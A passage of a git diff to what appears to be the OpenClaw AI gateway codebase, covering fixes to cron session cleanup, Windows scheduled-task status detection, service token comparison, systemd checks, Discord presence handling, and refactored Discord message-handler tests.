b/src/cron/session-reaper.ts index fa12caa2f56..dd0094d4c57 100644 --- a/src/cron/session-reaper.ts +++ b/src/cron/session-reaper.ts @@ -6,14 +6,14 @@ * run records. The base session (`...:cron:`) is kept as-is. */ -import path from "node:path"; import { parseDurationMs } from "../cli/parse-duration.js"; -import { loadSessionStore, updateSessionStore } from "../config/sessions.js"; -import type { CronConfig } from "../config/types.cron.js"; import { - archiveSessionTranscripts, - cleanupArchivedSessionTranscripts, -} from "../gateway/session-utils.fs.js"; + archiveRemovedSessionTranscripts, + loadSessionStore, + updateSessionStore, +} from "../config/sessions.js"; +import type { CronConfig } from "../config/types.cron.js"; +import { cleanupArchivedSessionTranscripts } from "../gateway/session-utils.fs.js"; import { isCronRunSessionKey } from "../sessions/session-key-utils.js"; import type { Logger } from "./service/state.js"; @@ -116,22 +116,13 @@ export async function sweepCronRunSessions(params: { .map((entry) => entry?.sessionId) .filter((id): id is string => Boolean(id)), ); - const archivedDirs = new Set(); - for (const [sessionId, sessionFile] of prunedSessions) { - if (referencedSessionIds.has(sessionId)) { - continue; - } - const archived = archiveSessionTranscripts({ - sessionId, - storePath, - sessionFile, - reason: "deleted", - restrictToStoreDir: true, - }); - for (const archivedPath of archived) { - archivedDirs.add(path.dirname(archivedPath)); - } - } + const archivedDirs = archiveRemovedSessionTranscripts({ + removedSessionFiles: prunedSessions, + referencedSessionIds, + storePath, + reason: "deleted", + restrictToStoreDir: true, + }); if (archivedDirs.size > 0) { await cleanupArchivedSessionTranscripts({ directories: [...archivedDirs], diff --git a/src/daemon/schtasks.test.ts b/src/daemon/schtasks.test.ts index 6eb4e23ffec..5aff10ea543 100644 --- a/src/daemon/schtasks.test.ts +++ b/src/daemon/schtasks.test.ts @@ -63,6 +63,41 @@ describe("scheduled task runtime derivation", () => { detail: "Task reports Running but Last Run Result=0x0; treating as stale runtime state.", }); }); + + it("detects running via result code when status is localized (German)", () => { + expect( + deriveScheduledTaskRuntimeStatus({ + status: "Wird ausgeführt", + lastRunResult: "0x41301", + }), + ).toEqual({ status: "running" }); + }); + + it("detects running via result code when status is localized (French)", () => { + expect( + deriveScheduledTaskRuntimeStatus({ + status: "En cours", + lastRunResult: "267009", + }), + ).toEqual({ status: "running" }); + }); + + it("treats localized status as stopped when result code is not a running code", () => { + expect( + deriveScheduledTaskRuntimeStatus({ + status: "Wird ausgeführt", + lastRunResult: "0x0", + }), + ).toEqual({ status: "stopped" }); + }); + + it("treats localized status without result code as stopped", () => { + expect( + deriveScheduledTaskRuntimeStatus({ + status: "Wird ausgeführt", + }), + ).toEqual({ status: "stopped" }); + }); }); describe("resolveTaskScriptPath", () => { diff --git a/src/daemon/schtasks.ts b/src/daemon/schtasks.ts index 091dad88b99..880e0430135 100644 --- a/src/daemon/schtasks.ts +++ b/src/daemon/schtasks.ts @@ -163,13 +163,23 @@ export function deriveScheduledTaskRuntimeStatus(parsed: ScheduledTaskInfo): { if (!statusRaw) { return { status: "unknown" }; } - if (statusRaw !== "running") { - return { status: "stopped" }; - } const normalizedResult = normalizeTaskResultCode(parsed.lastRunResult); const runningCodes = new Set(["0x41301"]); - if (normalizedResult && !runningCodes.has(normalizedResult)) { + const isRunningByCode = normalizedResult != null && runningCodes.has(normalizedResult); + const isRunningByStatus = statusRaw === "running"; + + // schtasks.exe localizes its Status field ("Running" in English, + // "Wird ausgeführt" in German, "En cours" in French, etc.). + // Prefer the locale-invariant Last Run Result code 0x41301 + // ("task is currently running") over string matching. (#39057) + if (!isRunningByStatus && !isRunningByCode) { + return { status: "stopped" }; + } + + // Cross-check: if the English status says "running" but the result + // code disagrees, the runtime state is likely stale. + if (isRunningByStatus && normalizedResult && !isRunningByCode) { return { status: "stopped", detail: `Task reports Running but Last Run Result=${parsed.lastRunResult}; treating as stale runtime state.`, diff --git a/src/daemon/service-audit.test.ts b/src/daemon/service-audit.test.ts index 2615c90cb70..090094ed8c9 100644 --- a/src/daemon/service-audit.test.ts +++ b/src/daemon/service-audit.test.ts @@ -118,6 +118,24 @@ describe("checkTokenDrift", () => { expect(result).toBeNull(); }); + it("returns null when tokens match but service token has trailing newline", () => { + const result = checkTokenDrift({ serviceToken: "same-token\n", configToken: "same-token" }); + expect(result).toBeNull(); + }); + + it("returns null when tokens match but have surrounding whitespace", () => { + const result = checkTokenDrift({ serviceToken: " same-token ", configToken: "same-token" }); + expect(result).toBeNull(); + }); + + it("returns null when both tokens have different whitespace padding", () => { + const result = checkTokenDrift({ + serviceToken: "same-token\r\n", + configToken: " same-token ", + }); + expect(result).toBeNull(); + }); + it("detects drift when config has token but service has different token", () => { const result = checkTokenDrift({ serviceToken: "old-token", configToken: "new-token" }); expect(result).not.toBeNull(); diff --git a/src/daemon/service-audit.ts b/src/daemon/service-audit.ts index 09e766065ec..6f86230dbc3 100644 --- a/src/daemon/service-audit.ts +++ b/src/daemon/service-audit.ts @@ -362,13 +362,19 @@ export function checkTokenDrift(params: { }): ServiceConfigIssue | null { const { serviceToken, configToken } = params; + // Normalise both tokens before comparing: service-file parsers (systemd, + // launchd) can return values with trailing newlines or whitespace that + // cause a false-positive mismatch against the config value. + const normService = serviceToken?.trim() || undefined; + const normConfig = configToken?.trim() || undefined; + // No drift if both are undefined/empty - if (!serviceToken && !configToken) { + if (!normService && !normConfig) { return null; } // Drift: config has token, service has different or no token - if (configToken && serviceToken !== configToken) { + if (normConfig && normService !== normConfig) { return { code: SERVICE_AUDIT_CODES.gatewayTokenDrift, message: diff --git a/src/daemon/service-env.test.ts b/src/daemon/service-env.test.ts index 4080cd88fcf..f1dcb6e6f6f 100644 --- a/src/daemon/service-env.test.ts +++ b/src/daemon/service-env.test.ts @@ -278,6 +278,7 @@ describe("buildServiceEnvironment", () => { expect(env.OPENCLAW_SERVICE_KIND).toBe("gateway"); expect(typeof env.OPENCLAW_SERVICE_VERSION).toBe("string"); expect(env.OPENCLAW_SYSTEMD_UNIT).toBe("openclaw-gateway.service"); + expect(env.OPENCLAW_WINDOWS_TASK_NAME).toBe("OpenClaw Gateway"); if (process.platform === "darwin") { expect(env.OPENCLAW_LAUNCHD_LABEL).toBe("ai.openclaw.gateway"); } @@ -305,6 +306,7 @@ describe("buildServiceEnvironment", () => { port: 18789, }); expect(env.OPENCLAW_SYSTEMD_UNIT).toBe("openclaw-gateway-work.service"); + expect(env.OPENCLAW_WINDOWS_TASK_NAME).toBe("OpenClaw Gateway (work)"); if (process.platform === "darwin") { expect(env.OPENCLAW_LAUNCHD_LABEL).toBe("ai.openclaw.work"); } diff --git a/src/daemon/service-env.ts b/src/daemon/service-env.ts index f0534746aa7..181e45a7590 100644 --- a/src/daemon/service-env.ts +++ b/src/daemon/service-env.ts @@ -6,6 +6,7 @@ import { GATEWAY_SERVICE_MARKER, resolveGatewayLaunchAgentLabel, resolveGatewaySystemdServiceName, + resolveGatewayWindowsTaskName, NODE_SERVICE_KIND, NODE_SERVICE_MARKER, NODE_WINDOWS_TASK_SCRIPT_NAME, @@ -262,6 +263,7 @@ export function buildServiceEnvironment(params: { OPENCLAW_GATEWAY_TOKEN: token, OPENCLAW_LAUNCHD_LABEL: resolvedLaunchdLabel, OPENCLAW_SYSTEMD_UNIT: systemdUnit, + OPENCLAW_WINDOWS_TASK_NAME: resolveGatewayWindowsTaskName(profile), OPENCLAW_SERVICE_MARKER: GATEWAY_SERVICE_MARKER, OPENCLAW_SERVICE_KIND: GATEWAY_SERVICE_KIND, OPENCLAW_SERVICE_VERSION: VERSION, diff --git a/src/daemon/systemd.test.ts b/src/daemon/systemd.test.ts index 71bfef54d6d..b080302a644 100644 --- a/src/daemon/systemd.test.ts +++ b/src/daemon/systemd.test.ts @@ -1,3 +1,4 @@ +import fs from "node:fs/promises"; import { beforeEach, describe, expect, it, vi } from "vitest"; const execFileMock = vi.hoisted(() => vi.fn()); @@ -16,6 +17,38 @@ import { stopSystemdService, } from "./systemd.js"; +type ExecFileError = Error & { + stderr?: string; + code?: string | number; +}; + +const createExecFileError = ( + message: string, + options: { stderr?: string; code?: string | number } = {}, +): ExecFileError => { + const err = new Error(message) as ExecFileError; + err.code = options.code ?? 1; + if (options.stderr) { + err.stderr = options.stderr; + } + return err; +}; + +const createWritableStreamMock = () => { + const write = vi.fn(); + return { + write, + stdout: { write } as unknown as NodeJS.WritableStream, + }; +}; + +const assertRestartSuccess = async (env: NodeJS.ProcessEnv) => { + const { write, stdout } = createWritableStreamMock(); + await restartSystemdService({ stdout, env }); + expect(write).toHaveBeenCalledTimes(1); + expect(String(write.mock.calls[0]?.[0])).toContain("Restarted systemd service"); +}; + describe("systemd availability", () => { beforeEach(() => { execFileMock.mockReset(); @@ -45,15 +78,10 @@ describe("systemd availability", () => { execFileMock .mockImplementationOnce((_cmd, args, _opts, cb) => { expect(args).toEqual(["--user", "status"]); - const err = new Error( - "Failed to connect to user scope bus via local transport", - ) as Error & { - stderr?: string; - code?: number; - }; - err.stderr = - "Failed to connect to user scope bus via local transport: $DBUS_SESSION_BUS_ADDRESS and $XDG_RUNTIME_DIR not defined"; - err.code = 1; + const err = createExecFileError("Failed to connect to user scope bus via local transport", { + stderr: + "Failed to connect to user scope bus via local transport: $DBUS_SESSION_BUS_ADDRESS and $XDG_RUNTIME_DIR not defined", + }); cb(err, "", ""); }) .mockImplementationOnce((_cmd, args, _opts, cb) => { @@ -66,44 +94,65 @@ describe("systemd availability", () => { }); describe("isSystemdServiceEnabled", () => { + const mockManagedUnitPresent = () => { + vi.spyOn(fs, "access").mockResolvedValue(undefined); + }; + beforeEach(() => { + vi.restoreAllMocks(); execFileMock.mockReset(); }); it("returns false when systemctl is not present", async () => { const { isSystemdServiceEnabled } = await import("./systemd.js"); + mockManagedUnitPresent(); execFileMock.mockImplementation((_cmd, _args, _opts, cb) => { const err = new Error("spawn systemctl EACCES") as Error & { code?: string }; err.code = "EACCES"; cb(err, "", ""); }); - const result = await isSystemdServiceEnabled({ env: {} }); + const result = await isSystemdServiceEnabled({ env: { HOME: "/tmp/openclaw-test-home" } }); expect(result).toBe(false); }); + it("returns false without calling systemctl when the managed unit file is missing", async () => { + const { isSystemdServiceEnabled } = await import("./systemd.js"); + const err = new Error("missing unit") as NodeJS.ErrnoException; + err.code = "ENOENT"; + vi.spyOn(fs, "access").mockRejectedValueOnce(err); + + const result = await isSystemdServiceEnabled({ env: { HOME: "/tmp/openclaw-test-home" } }); + + expect(result).toBe(false); + expect(execFileMock).not.toHaveBeenCalled(); + }); + it("calls systemctl is-enabled when systemctl is present", async () => { const { isSystemdServiceEnabled } = await import("./systemd.js"); + mockManagedUnitPresent(); execFileMock.mockImplementationOnce((_cmd, args, _opts, cb) => { expect(args).toEqual(["--user", "is-enabled", "openclaw-gateway.service"]); cb(null, "enabled", ""); }); - const result = await isSystemdServiceEnabled({ env: {} }); + const result = await isSystemdServiceEnabled({ env: { HOME: "/tmp/openclaw-test-home" } }); expect(result).toBe(true); }); it("returns false when systemctl reports disabled", async () => { const { isSystemdServiceEnabled } = await import("./systemd.js"); + mockManagedUnitPresent(); execFileMock.mockImplementationOnce((_cmd, _args, _opts, cb) => { const err = new Error("disabled") as Error & { code?: number }; err.code = 1; cb(err, "disabled", ""); }); - const result = await isSystemdServiceEnabled({ env: {} }); + const result = await isSystemdServiceEnabled({ env: { HOME: "/tmp/openclaw-test-home" } }); expect(result).toBe(false); }); it("throws when systemctl is-enabled fails for non-state errors", async () => { const { isSystemdServiceEnabled } = await import("./systemd.js"); + mockManagedUnitPresent(); execFileMock .mockImplementationOnce((_cmd, args, _opts, cb) => { expect(args).toEqual(["--user", "is-enabled", "openclaw-gateway.service"]); @@ -119,13 +168,14 @@ describe("isSystemdServiceEnabled", () => { err.code = 1; cb(err, "", "permission denied"); }); - await expect(isSystemdServiceEnabled({ env: {} })).rejects.toThrow( - "systemctl is-enabled unavailable: permission denied", - ); + await expect( + isSystemdServiceEnabled({ env: { HOME: "/tmp/openclaw-test-home" } }), + ).rejects.toThrow("systemctl is-enabled unavailable: permission denied"); }); it("returns false when systemctl is-enabled exits with code 4 (not-found)", async () => { const { isSystemdServiceEnabled } = await import("./systemd.js"); + mockManagedUnitPresent(); execFileMock.mockImplementationOnce((_cmd, _args, _opts, cb) => { // On Ubuntu 24.04, `systemctl --user is-enabled ` exits with // code 4 and prints "not-found" to stdout when the unit doesn't exist. @@ -135,7 +185,7 @@ describe("isSystemdServiceEnabled", () => { err.code = 4; cb(err, "not-found\n", ""); }); - const result = await isSystemdServiceEnabled({ env: {} }); + const result = await isSystemdServiceEnabled({ env: { HOME: "/tmp/openclaw-test-home" } }); expect(result).toBe(false); }); }); @@ -248,6 +298,10 @@ describe("parseSystemdExecStart", () => { }); describe("systemd service control", () => { + const assertMachineRestartArgs = (args: string[]) => { + expect(args).toEqual(["--machine", "debian@", "--user", "restart", "openclaw-gateway.service"]); + }; + beforeEach(() => { execFileMock.mockReset(); }); @@ -275,13 +329,7 @@ describe("systemd service control", () => { expect(args).toEqual(["--user", "restart", "openclaw-gateway-work.service"]); cb(null, "", ""); }); - const write = vi.fn(); - const stdout = { write } as unknown as NodeJS.WritableStream; - - await restartSystemdService({ stdout, env: { OPENCLAW_PROFILE: "work" } }); - - expect(write).toHaveBeenCalledTimes(1); - expect(String(write.mock.calls[0]?.[0])).toContain("Restarted systemd service"); + await assertRestartSuccess({ OPENCLAW_PROFILE: "work" }); }); it("surfaces stop failures with systemctl detail", async () => { @@ -308,22 +356,10 @@ describe("systemd service control", () => { cb(null, "", ""); }) .mockImplementationOnce((_cmd, args, _opts, cb) => { - expect(args).toEqual([ - "--machine", - "debian@", - "--user", - "restart", - "openclaw-gateway.service", - ]); + assertMachineRestartArgs(args); cb(null, "", ""); }); - const write = vi.fn(); - const stdout = { write } as unknown as NodeJS.WritableStream; - - await restartSystemdService({ stdout, env: { SUDO_USER: "debian" } }); - - expect(write).toHaveBeenCalledTimes(1); - expect(String(write.mock.calls[0]?.[0])).toContain("Restarted systemd service"); + await assertRestartSuccess({ SUDO_USER: "debian" }); }); it("keeps direct --user scope when SUDO_USER is root", async () => { @@ -336,26 +372,17 @@ describe("systemd service control", () => { expect(args).toEqual(["--user", "restart", "openclaw-gateway.service"]); cb(null, "", ""); }); - const write = vi.fn(); - const stdout = { write } as unknown as NodeJS.WritableStream; - - await restartSystemdService({ stdout, env: { SUDO_USER: "root", USER: "root" } }); - - expect(write).toHaveBeenCalledTimes(1); - expect(String(write.mock.calls[0]?.[0])).toContain("Restarted systemd service"); + await assertRestartSuccess({ SUDO_USER: "root", USER: "root" }); }); it("falls back to machine user scope for restart when user bus env is missing", async () => { execFileMock .mockImplementationOnce((_cmd, args, _opts, cb) => { expect(args).toEqual(["--user", "status"]); - const err = new Error("Failed to connect to user scope bus") as Error & { - stderr?: string; - code?: number; - }; - err.stderr = - "Failed to connect to user scope bus via local transport: $DBUS_SESSION_BUS_ADDRESS and $XDG_RUNTIME_DIR not defined"; - err.code = 1; + const err = createExecFileError("Failed to connect to user scope bus", { + stderr: + "Failed to connect to user scope bus via local transport: $DBUS_SESSION_BUS_ADDRESS and $XDG_RUNTIME_DIR not defined", + }); cb(err, "", ""); }) .mockImplementationOnce((_cmd, args, _opts, cb) => { @@ -364,30 +391,15 @@ describe("systemd service control", () => { }) .mockImplementationOnce((_cmd, args, _opts, cb) => { expect(args).toEqual(["--user", "restart", "openclaw-gateway.service"]); - const err = new Error("Failed to connect to user scope bus") as Error & { - stderr?: string; - code?: number; - }; - err.stderr = "Failed to connect to user scope bus"; - err.code = 1; + const err = createExecFileError("Failed to connect to user scope bus", { + stderr: "Failed to connect to user scope bus", + }); cb(err, "", ""); }) .mockImplementationOnce((_cmd, args, _opts, cb) => { - expect(args).toEqual([ - "--machine", - "debian@", - "--user", - "restart", - "openclaw-gateway.service", - ]); + assertMachineRestartArgs(args); cb(null, "", ""); }); - const write = vi.fn(); - const stdout = { write } as unknown as NodeJS.WritableStream; - - await restartSystemdService({ stdout, env: { USER: "debian" } }); - - expect(write).toHaveBeenCalledTimes(1); - expect(String(write.mock.calls[0]?.[0])).toContain("Restarted systemd service"); + await assertRestartSuccess({ USER: "debian" }); }); }); diff --git a/src/daemon/systemd.ts b/src/daemon/systemd.ts index 08353048c59..9d8849a2ba5 100644 --- a/src/daemon/systemd.ts +++ b/src/daemon/systemd.ts @@ -423,7 +423,16 @@ export async function restartSystemdService({ export async function isSystemdServiceEnabled(args: GatewayServiceEnvArgs): Promise { const env = args.env ?? process.env; - const serviceName = resolveSystemdServiceName(args.env ?? {}); + try { + await fs.access(resolveSystemdUnitPath(env)); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === "ENOENT") { + return false; + } + throw error; + } + + const serviceName = resolveSystemdServiceName(env); const unitName = `${serviceName}.service`; const res = await execSystemctlUser(env, ["is-enabled", unitName]); if (res.code === 0) { diff --git a/src/discord/monitor/auto-presence.test.ts b/src/discord/monitor/auto-presence.test.ts index 0065ed77be7..b5a83d5242d 100644 --- a/src/discord/monitor/auto-presence.test.ts +++ b/src/discord/monitor/auto-presence.test.ts @@ -50,6 +50,26 @@ describe("discord auto presence", () => { expect(decision?.presence.activities[0]?.state).toBe("token exhausted"); }); + it("treats overloaded cooldown as exhausted", () => { + const now = Date.now(); + const decision = resolveDiscordAutoPresenceDecision({ + discordConfig: { + autoPresence: { + enabled: true, + exhaustedText: "token exhausted", + }, + }, + authStore: createStore({ cooldownUntil: now + 60_000, failureCounts: { overloaded: 2 } }), + gatewayConnected: true, + now, + }); + + expect(decision).toBeTruthy(); + expect(decision?.state).toBe("exhausted"); + expect(decision?.presence.status).toBe("dnd"); + expect(decision?.presence.activities[0]?.state).toBe("token exhausted"); + }); + it("recovers from exhausted to online once a profile becomes usable", () => { let now = Date.now(); let store = createStore({ cooldownUntil: now + 60_000, failureCounts: { rate_limit: 1 } }); diff --git a/src/discord/monitor/auto-presence.ts b/src/discord/monitor/auto-presence.ts index 74bdcab3617..8c139382dc6 100644 --- a/src/discord/monitor/auto-presence.ts +++ b/src/discord/monitor/auto-presence.ts @@ -104,6 +104,7 @@ function isExhaustedUnavailableReason(reason: AuthProfileFailureReason | null): } return ( reason === "rate_limit" || + reason === "overloaded" || reason === "billing" || reason === "auth" || reason === "auth_permanent" diff --git a/src/discord/monitor/message-handler.bot-self-filter.test.ts b/src/discord/monitor/message-handler.bot-self-filter.test.ts index b3442f89618..4358301b92d 100644 --- a/src/discord/monitor/message-handler.bot-self-filter.test.ts +++ b/src/discord/monitor/message-handler.bot-self-filter.test.ts @@ -1,73 +1,72 @@ -import { describe, it, vi } from "vitest"; -import type { OpenClawConfig } from "../../config/types.js"; -import { createDiscordMessageHandler } from "./message-handler.js"; -import { createNoopThreadBindingManager } from "./thread-bindings.js"; +import { describe, expect, it, vi } from "vitest"; +import { + DEFAULT_DISCORD_BOT_USER_ID, + createDiscordHandlerParams, + createDiscordPreflightContext, +} from "./message-handler.test-helpers.js"; -const BOT_USER_ID = "bot-123"; +const preflightDiscordMessageMock = vi.hoisted(() => vi.fn()); +const processDiscordMessageMock = vi.hoisted(() => vi.fn()); -function createHandlerParams(overrides?: Partial<{ botUserId: string }>) { - const cfg: OpenClawConfig = { - channels: { - discord: { - enabled: true, - token: "test-token", - groupPolicy: "allowlist", - }, - }, - }; +vi.mock("./message-handler.preflight.js", () => ({ + preflightDiscordMessage: preflightDiscordMessageMock, +})); + +vi.mock("./message-handler.process.js", () => ({ + processDiscordMessage: processDiscordMessageMock, +})); + +const { createDiscordMessageHandler } = await import("./message-handler.js"); + +function createMessageData(authorId: string, channelId = "ch-1") { return { - cfg, - discordConfig: cfg.channels?.discord, - accountId: "default", - token: "test-token", - runtime: { - log: vi.fn(), - error: vi.fn(), - exit: (code: number): never => { - throw new Error(`exit ${code}`); - }, + author: { id: authorId, bot: authorId === DEFAULT_DISCORD_BOT_USER_ID }, + message: { + id: "msg-1", + author: { id: authorId, bot: authorId === DEFAULT_DISCORD_BOT_USER_ID }, + content: "hello", + channel_id: channelId, }, - botUserId: overrides?.botUserId ?? BOT_USER_ID, - guildHistories: new Map(), - historyLimit: 0, - mediaMaxBytes: 10_000, - textLimit: 2000, - replyToMode: "off" as const, - dmEnabled: true, - groupDmEnabled: false, - threadBindings: createNoopThreadBindingManager("default"), + channel_id: channelId, }; } -function createMessageData(authorId: string) { - return { - message: { - id: "msg-1", - author: { id: authorId, bot: authorId === BOT_USER_ID }, - content: "hello", - channel_id: "ch-1", - }, - channel_id: "ch-1", - }; +function createPreflightContext(channelId = "ch-1") { + return createDiscordPreflightContext(channelId); } describe("createDiscordMessageHandler bot-self filter", () => { - it("skips bot-own messages before debouncer", async () => { - const handler = createDiscordMessageHandler(createHandlerParams()); - await handler(createMessageData(BOT_USER_ID) as never, {} as never); + it("skips bot-own messages before the debounce queue", async () => { + preflightDiscordMessageMock.mockReset(); + processDiscordMessageMock.mockReset(); + + const handler = createDiscordMessageHandler(createDiscordHandlerParams()); + + await expect( + handler(createMessageData(DEFAULT_DISCORD_BOT_USER_ID) as never, {} as never), + ).resolves.toBeUndefined(); + + expect(preflightDiscordMessageMock).not.toHaveBeenCalled(); + expect(processDiscordMessageMock).not.toHaveBeenCalled(); }); - it("processes messages from other users", async () => { - const handler = createDiscordMessageHandler(createHandlerParams()); - try { - await handler( - createMessageData("user-456") as never, - { - fetchChannel: vi.fn().mockResolvedValue(null), - } as never, - ); - } catch { - // Expected: pipeline fails without full mock, but it passed the filter. - } + it("enqueues non-bot messages for processing", async () => { + preflightDiscordMessageMock.mockReset(); + processDiscordMessageMock.mockReset(); + preflightDiscordMessageMock.mockImplementation( + async (params: { data: { channel_id: string } }) => + createPreflightContext(params.data.channel_id), + ); + + const handler = createDiscordMessageHandler(createDiscordHandlerParams()); + + await expect( + handler(createMessageData("user-456") as never, {} as never), + ).resolves.toBeUndefined(); + + await vi.waitFor(() => { + expect(preflightDiscordMessageMock).toHaveBeenCalledTimes(1); + expect(processDiscordMessageMock).toHaveBeenCalledTimes(1); + }); }); }); diff --git a/src/discord/monitor/message-handler.preflight.test.ts b/src/discord/monitor/message-handler.preflight.test.ts index 9a2fb11eebf..1e4d9c5dddb 100644 --- a/src/discord/monitor/message-handler.preflight.test.ts +++ b/src/discord/monitor/message-handler.preflight.test.ts @@ -21,6 +21,19 @@ import { createThreadBindingManager, } from "./thread-bindings.js"; +type DiscordConfig = NonNullable< + import("../../config/config.js").OpenClawConfig["channels"] +>["discord"]; +type DiscordMessageEvent = import("./listeners.js").DiscordMessageEvent; +type DiscordClient = import("@buape/carbon").Client; + +const DEFAULT_CFG = { + session: { + mainKey: "main", + scope: "per-sender", + }, +} as import("../../config/config.js").OpenClawConfig; + function createThreadBinding( overrides?: Partial< import("../../infra/outbound/session-binding-service.js").SessionBindingRecord @@ -48,6 +61,182 @@ function createThreadBinding( } satisfies import("../../infra/outbound/session-binding-service.js").SessionBindingRecord; } +function createPreflightArgs(params: { + cfg: import("../../config/config.js").OpenClawConfig; + discordConfig: DiscordConfig; + data: DiscordMessageEvent; + client: DiscordClient; +}): Parameters[0] { + return { + cfg: params.cfg, + discordConfig: params.discordConfig, + accountId: "default", + token: "token", + runtime: {} as import("../../runtime.js").RuntimeEnv, + botUserId: "openclaw-bot", + guildHistories: new Map(), + historyLimit: 0, + mediaMaxBytes: 1_000_000, + textLimit: 2_000, + replyToMode: "all", + dmEnabled: true, + groupDmEnabled: true, + ackReactionScope: "direct", + groupPolicy: "open", + threadBindings: createNoopThreadBindingManager("default"), + data: params.data, + client: params.client, + }; +} + +function createGuildTextClient(channelId: string): DiscordClient { + return { + fetchChannel: async (id: string) => { + if (id === channelId) { + return { + id: channelId, + type: ChannelType.GuildText, + name: "general", + }; + } + return null; + }, + } as unknown as DiscordClient; +} + +function createThreadClient(params: { threadId: string; parentId: string }): DiscordClient { + return { + fetchChannel: async (channelId: string) => { + if (channelId === params.threadId) { + return { + id: params.threadId, + type: ChannelType.PublicThread, + name: "focus", + parentId: params.parentId, + ownerId: "owner-1", + }; + } + if (channelId === params.parentId) { + return { + id: params.parentId, + type: ChannelType.GuildText, + name: "general", + }; + } + return null; + }, + } as unknown as DiscordClient; +} + +function createGuildEvent(params: { + channelId: string; + guildId: string; + author: import("@buape/carbon").Message["author"]; + message: import("@buape/carbon").Message; +}): DiscordMessageEvent { + return { + channel_id: params.channelId, + guild_id: params.guildId, + guild: { + id: params.guildId, + name: "Guild One", + }, + author: params.author, + message: params.message, + } as unknown as DiscordMessageEvent; +} + +function createMessage(params: { + id: string; + channelId: string; + content: string; + author: { + id: string; + bot: boolean; + username?: string; + }; + mentionedUsers?: Array<{ id: string }>; + mentionedEveryone?: boolean; + attachments?: Array>; +}): import("@buape/carbon").Message { + return { + id: params.id, + content: params.content, + timestamp: new Date().toISOString(), + channelId: params.channelId, + attachments: params.attachments ?? [], + mentionedUsers: params.mentionedUsers ?? [], + mentionedRoles: [], + mentionedEveryone: params.mentionedEveryone ?? false, + author: params.author, + } as unknown as import("@buape/carbon").Message; +} + +async function runThreadBoundPreflight(params: { + threadId: string; + parentId: string; + message: import("@buape/carbon").Message; + threadBinding: import("../../infra/outbound/session-binding-service.js").SessionBindingRecord; + discordConfig: DiscordConfig; + registerBindingAdapter?: boolean; +}) { + if (params.registerBindingAdapter) { + registerSessionBindingAdapter({ + channel: "discord", + accountId: "default", + listBySession: () => [], + resolveByConversation: (ref) => + ref.conversationId === params.threadId ? params.threadBinding : null, + }); + } + + const client = createThreadClient({ + threadId: params.threadId, + parentId: params.parentId, + }); + + return preflightDiscordMessage({ + ...createPreflightArgs({ + cfg: DEFAULT_CFG, + discordConfig: params.discordConfig, + data: createGuildEvent({ + channelId: params.threadId, + guildId: "guild-1", + author: params.message.author, + message: params.message, + }), + client, + }), + threadBindings: { + getByThreadId: (id: string) => (id === params.threadId ? params.threadBinding : undefined), + } as import("./thread-bindings.js").ThreadBindingManager, + }); +} + +async function runGuildPreflight(params: { + channelId: string; + guildId: string; + message: import("@buape/carbon").Message; + discordConfig: DiscordConfig; + cfg?: import("../../config/config.js").OpenClawConfig; + guildEntries?: Parameters[0]["guildEntries"]; +}) { + return preflightDiscordMessage({ + ...createPreflightArgs({ + cfg: params.cfg ?? DEFAULT_CFG, + discordConfig: params.discordConfig, + data: createGuildEvent({ + channelId: params.channelId, + guildId: params.guildId, + author: params.message.author, + message: params.message, + }), + client: createGuildTextClient(params.channelId), + }), + guildEntries: params.guildEntries, + }); +} + describe("resolvePreflightMentionRequirement", () => { it("requires mention when config requires mention and thread is not bound", () => { expect( @@ -90,81 +279,26 @@ describe("preflightDiscordMessage", () => { }); const threadId = "thread-system-1"; const parentId = "channel-parent-1"; - const client = { - fetchChannel: async (channelId: string) => { - if (channelId === threadId) { - return { - id: threadId, - type: ChannelType.PublicThread, - name: "focus", - parentId, - ownerId: "owner-1", - }; - } - if (channelId === parentId) { - return { - id: parentId, - type: ChannelType.GuildText, - name: "general", - }; - } - return null; - }, - } as unknown as import("@buape/carbon").Client; - const message = { + const message = createMessage({ id: "m-system-1", + channelId: threadId, content: "⚙️ codex-acp session active (auto-unfocus in 24h). Messages here go directly to this session.", - timestamp: new Date().toISOString(), - channelId: threadId, - attachments: [], - mentionedUsers: [], - mentionedRoles: [], - mentionedEveryone: false, author: { id: "relay-bot-1", bot: true, username: "OpenClaw", }, - } as unknown as import("@buape/carbon").Message; + }); - const result = await preflightDiscordMessage({ - cfg: { - session: { - mainKey: "main", - scope: "per-sender", - }, - } as import("../../config/config.js").OpenClawConfig, + const result = await runThreadBoundPreflight({ + threadId, + parentId, + message, + threadBinding, discordConfig: { allowBots: true, - } as NonNullable["discord"], - accountId: "default", - token: "token", - runtime: {} as import("../../runtime.js").RuntimeEnv, - botUserId: "openclaw-bot", - guildHistories: new Map(), - historyLimit: 0, - mediaMaxBytes: 1_000_000, - textLimit: 2_000, - replyToMode: "all", - dmEnabled: true, - groupDmEnabled: true, - ackReactionScope: "direct", - groupPolicy: "open", - threadBindings: { - getByThreadId: (id: string) => (id === threadId ? threadBinding : undefined), - } as import("./thread-bindings.js").ThreadBindingManager, - data: { - channel_id: threadId, - guild_id: "guild-1", - guild: { - id: "guild-1", - name: "Guild One", - }, - author: message.author, - message, - } as unknown as import("./listeners.js").DiscordMessageEvent, - client, + } as DiscordConfig, }); expect(result).toBeNull(); @@ -177,87 +311,26 @@ describe("preflightDiscordMessage", () => { }); const threadId = "thread-bot-regular-1"; const parentId = "channel-parent-regular-1"; - const client = { - fetchChannel: async (channelId: string) => { - if (channelId === threadId) { - return { - id: threadId, - type: ChannelType.PublicThread, - name: "focus", - parentId, - ownerId: "owner-1", - }; - } - if (channelId === parentId) { - return { - id: parentId, - type: ChannelType.GuildText, - name: "general", - }; - } - return null; - }, - } as unknown as import("@buape/carbon").Client; - const message = { + const message = createMessage({ id: "m-bot-regular-1", - content: "here is tool output chunk", - timestamp: new Date().toISOString(), channelId: threadId, - attachments: [], - mentionedUsers: [], - mentionedRoles: [], - mentionedEveryone: false, + content: "here is tool output chunk", author: { id: "relay-bot-1", bot: true, username: "Relay", }, - } as unknown as import("@buape/carbon").Message; - - registerSessionBindingAdapter({ - channel: "discord", - accountId: "default", - listBySession: () => [], - resolveByConversation: (ref) => (ref.conversationId === threadId ? threadBinding : null), }); - const result = await preflightDiscordMessage({ - cfg: { - session: { - mainKey: "main", - scope: "per-sender", - }, - } as import("../../config/config.js").OpenClawConfig, + const result = await runThreadBoundPreflight({ + threadId, + parentId, + message, + threadBinding, discordConfig: { allowBots: true, - } as NonNullable["discord"], - accountId: "default", - token: "token", - runtime: {} as import("../../runtime.js").RuntimeEnv, - botUserId: "openclaw-bot", - guildHistories: new Map(), - historyLimit: 0, - mediaMaxBytes: 1_000_000, 